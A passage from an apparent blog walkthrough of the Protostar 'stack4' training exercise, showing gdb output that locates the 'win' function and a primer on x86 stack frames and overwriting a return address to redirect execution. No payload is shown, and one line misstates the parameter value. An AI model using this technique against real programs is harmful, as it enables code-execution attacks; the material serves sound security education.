&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;`&lt;/span&gt;/opt/protostar/bin/stack4&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;, file type elf32-i386.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048114-&amp;gt;0x8048127 at 0x00000114: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048128-&amp;gt;0x8048148 at 0x00000128: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048148-&amp;gt;0x804816c at 0x00000148: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x804816c-&amp;gt;0x8048198 at 0x0000016c: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048198-&amp;gt;0x80481b8 at 0x00000198: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x80481b8-&amp;gt;0x8048218 at 0x000001b8: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048218-&amp;gt;0x8048267 at 0x00000218: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048268-&amp;gt;0x8048274 at 0x00000268: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048274-&amp;gt;0x8048294 at 0x00000274: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048294-&amp;gt;0x804829c at 0x00000294: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x804829c-&amp;gt;0x80482bc at 0x0000029c: .rel.plt ALLOC LOAD READONLY DATA HAS_CO---Type &amp;lt;&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;&amp;gt; to &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;, or q &amp;lt;&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;&amp;gt; to quit---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x80482bc-&amp;gt;0x80482ec at 0x000002bc: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x80482ec-&amp;gt;0x804833c at 0x000002ec: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048340-&amp;gt;0x80484bc at 0x00000340: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x80484bc-&amp;gt;0x80484d8 at 0x000004bc: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x80484d8-&amp;gt;0x80484ff at 0x000004d8: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8048500-&amp;gt;0x8048504 at 0x00000500: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8049504-&amp;gt;0x804950c at 0x00000504: .ctors ALLOC LOAD DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x804950c-&amp;gt;0x8049514 at 0x0000050c: .dtors ALLOC LOAD DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8049514-&amp;gt;0x8049518 at 0x00000514: .jcr ALLOC LOAD DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8049518-&amp;gt;0x80495e8 at 0x00000518: .dynamic ALLOC LOAD DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x80495e8-&amp;gt;0x80495ec at 0x000005e8: .got ALLOC LOAD DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x80495ec-&amp;gt;0x8049608 at 0x000005ec: .got.plt ALLOC LOAD DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8049608-&amp;gt;0x8049610 at 0x00000608: .data ALLOC LOAD DATA HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x8049610-&amp;gt;0x8049618 at 0x00000610: .bss ALLOC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x0000-&amp;gt;0x0ad4 at 0x00000610: .stab READONLY HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x0000-&amp;gt;0x3bd2 at 0x000010e4: .stabstr READONLY HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---Type &amp;lt;&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;&amp;gt; to &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;, or q &amp;lt;&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;&amp;gt; to quit---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 0x0000-&amp;gt;0x0039 at 0x00004cb6: .comment READONLY HAS_CONTENTS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; find 0x80484d8,0x80484ff,&lt;span style="color:#e6db74"&gt;&amp;#34;code flow successfully changed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x80484e0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; pattern found.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x/s 0x80484e0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x80484e0: &lt;span style="color:#e6db74"&gt;&amp;#34;code flow successfully changed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; find 0x8048340, 0x80484bc, 0x80484e0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x80483fd &amp;lt;win+9&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; pattern found.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x/3i 0x80483fd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x80483fd &amp;lt;win+9&amp;gt;: loopne 0x8048383 &amp;lt;__do_global_dtors_aux+19&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x80483ff &amp;lt;win+11&amp;gt;: add al,0x8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x8048401 &amp;lt;win+13&amp;gt;: call 0x804832c &amp;lt;puts@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Thus we figure that the string is being called as part of a function called &lt;code&gt;win&lt;/code&gt; as gdb shows. We can confirm this by disassembling &lt;code&gt;win&lt;/code&gt; and this will also give us its address that we need to direct our code execution to.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; disassemble win
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dump of assembler code &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; win:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483f4 &amp;lt;win+0&amp;gt;: push ebp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483f5 &amp;lt;win+1&amp;gt;: mov ebp,esp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483f7 &amp;lt;win+3&amp;gt;: sub esp,0x18
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x080483fa &amp;lt;win+6&amp;gt;: mov DWORD PTR &lt;span style="color:#f92672"&gt;[&lt;/span&gt;esp&lt;span style="color:#f92672"&gt;]&lt;/span&gt;,0x80484e0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048401 &amp;lt;win+13&amp;gt;: call 0x804832c &amp;lt;puts@plt&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048406 &amp;lt;win+18&amp;gt;: leave
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x08048407 &amp;lt;win+19&amp;gt;: ret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;End of assembler dump.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So, we need to make our program start executing at 0x80483f4 (Entry point of function &lt;code&gt;win&lt;/code&gt;) somehow.&lt;/p&gt;
&lt;h3 id="a-primer-about-x86-stack-frames"&gt;A primer about X86 stack frames&lt;/h3&gt;
&lt;p&gt;Before continuing further, we will have to learn a bit about how program control works through stack frames. A stack frame is a region on the stack particular to a single function being executed in the call flow and represents its execution environment. If the same function is called many times, each instance of calling that function will have its own stack frame on the stack. A stack frame typically consists of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Parameters passed to the function&lt;/li&gt;
&lt;li&gt;Return address (Code location to jump to after the function is complete)&lt;/li&gt;
&lt;li&gt;Pointer to the previous (Calling function&amp;rsquo;s) stack frame&amp;rsquo;s base&lt;/li&gt;
&lt;li&gt;Local variables&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&amp;rsquo;s see with the help of a small example how this works.&lt;/p&gt;
&lt;h4 id="sample-code"&gt;Sample Code&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; x &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; y &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; x &lt;span style="color:#f92672"&gt;=&lt;/span&gt; a &lt;span style="color:#f92672"&gt;+&lt;/span&gt; x;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; x;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; b &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;(a);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will compile to the following assembly code&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;foo:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ebp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ebp&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;sub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0x10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;ebp-0x8&lt;/span&gt;],&lt;span style="color:#ae81ff"&gt;0x2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;ebp-0x4&lt;/span&gt;],&lt;span style="color:#ae81ff"&gt;0x3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;eax&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;ebp&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0x8&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;ebp-0x8&lt;/span&gt;],&lt;span style="color:#66d9ef"&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;eax&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;ebp-0x8&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;leave&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;main:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ebp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ebp&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;sub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0x14&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;ebp-0x8&lt;/span&gt;],&lt;span style="color:#ae81ff"&gt;0x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;ebp-0x4&lt;/span&gt;],&lt;span style="color:#ae81ff"&gt;0x1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;eax&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;ebp-0x8&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;],&lt;span style="color:#66d9ef"&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0x80483ed&lt;/span&gt; &amp;lt;&lt;span style="color:#66d9ef"&gt;foo&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;leave&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="stack-frame"&gt;Stack frame&lt;/h4&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2017/12/stack-frame.png" alt="Stack Frame of function foo"&gt;&lt;/p&gt;
&lt;h4 id="important-registers"&gt;Important registers&lt;/h4&gt;
&lt;p&gt;The x86 registers that one would be most interested in while understanding stack frames are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;esp: Stack Pointer. Points to (Holds address of) the current top of the stack&lt;/li&gt;
&lt;li&gt;ebp: Base Pointer. Points to (Holds address of) the base of the current stack frame&lt;/li&gt;
&lt;li&gt;eip: Instruction Pointer. Points to (Holds address of) the next instruction to be executed in the program&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="calling-convention--function-parameters"&gt;Calling Convention / Function Parameters&lt;/h4&gt;
&lt;p&gt;In the x86 calling convention, the parameters being passed to a function and the return address are pushed onto the stack before calling it. This can be seen in the below instruction.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;],&lt;span style="color:#66d9ef"&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0x80483ed&lt;/span&gt; &amp;lt;&lt;span style="color:#66d9ef"&gt;foo&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, the &lt;code&gt;mov&lt;/code&gt; instruction is pushing the parameter &amp;lsquo;5&amp;rsquo; onto the stack.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;call&lt;/code&gt; instruction is equivalent of pushing &lt;code&gt;eip + 2&lt;/code&gt; onto the stack and then jumping to the called function&amp;rsquo;s address. &lt;code&gt;eip + 2&lt;/code&gt; here points to the address of the instruction that should be executed next after returning from the called function.&lt;/p&gt;
&lt;h4 id="function-prologue--entry-sequence"&gt;Function Prologue / Entry Sequence&lt;/h4&gt;
&lt;p&gt;At the very beginning of a function, the first work done is to save the calling function&amp;rsquo;s base pointer (ebp) onto the stack and then move the current function&amp;rsquo;s base pointer to point towards calling function&amp;rsquo;s top. This can be seen in these instructions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;foo:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;push&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ebp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ebp&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="local-variables"&gt;Local Variables&lt;/h4&gt;
&lt;p&gt;Then, space is created on the stack for holding any local variables.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;sub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0x10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="exit-sequence"&gt;Exit Sequence&lt;/h4&gt;
&lt;p&gt;Finally, after the function has executed, it returns by restoring the calling function&amp;rsquo;s base pointer and then popping the next value (return address) from stack into the eip.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;leave&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, &lt;code&gt;leave&lt;/code&gt; is equivalent of &lt;code&gt;pop ebp&lt;/code&gt; to restore ebp value. &lt;code&gt;ret&lt;/code&gt; is equivalent of &lt;code&gt;pop eip&lt;/code&gt; to start executing the next instruction after the function call.&lt;/p&gt;
&lt;h4 id="what-we-need-to-do"&gt;What we need to do&lt;/h4&gt;
&lt;p&gt;From the above analysis of the stack frame, we now know that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Program flow is controlled through eip register&lt;/li&gt;
&lt;li&gt;On returning from a called function, eip register is updated with a value (return address) from the stack&lt;/li&gt;
&lt;li&gt;If we can somehow overflow a local variable on stack to modify the return address accurately, we can control the program execution.&lt;/li&gt;
&lt;li&gt;Note that similar to the function &lt;code&gt;foo&lt;/code&gt;, even the function &lt;code&gt;main&lt;/code&gt; has its own stack frame and returns back to &amp;ldquo;something&amp;rdquo; after completing its execution. This &amp;ldquo;something&amp;rdquo; is the c library runtime against which the compiler linked the program. So we can even try to change execution path by modifying this return address.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="gotchas"&gt;Gotchas&lt;/h4&gt;
&lt;p&gt;In some explanations, you may see espmain/StackFramemain in the figure above should also include the parameter being passed to foo. However, I&amp;rsquo;ve excluded it here for the sake of avoiding confusion of overlapping stack frames.&lt;/p&gt;
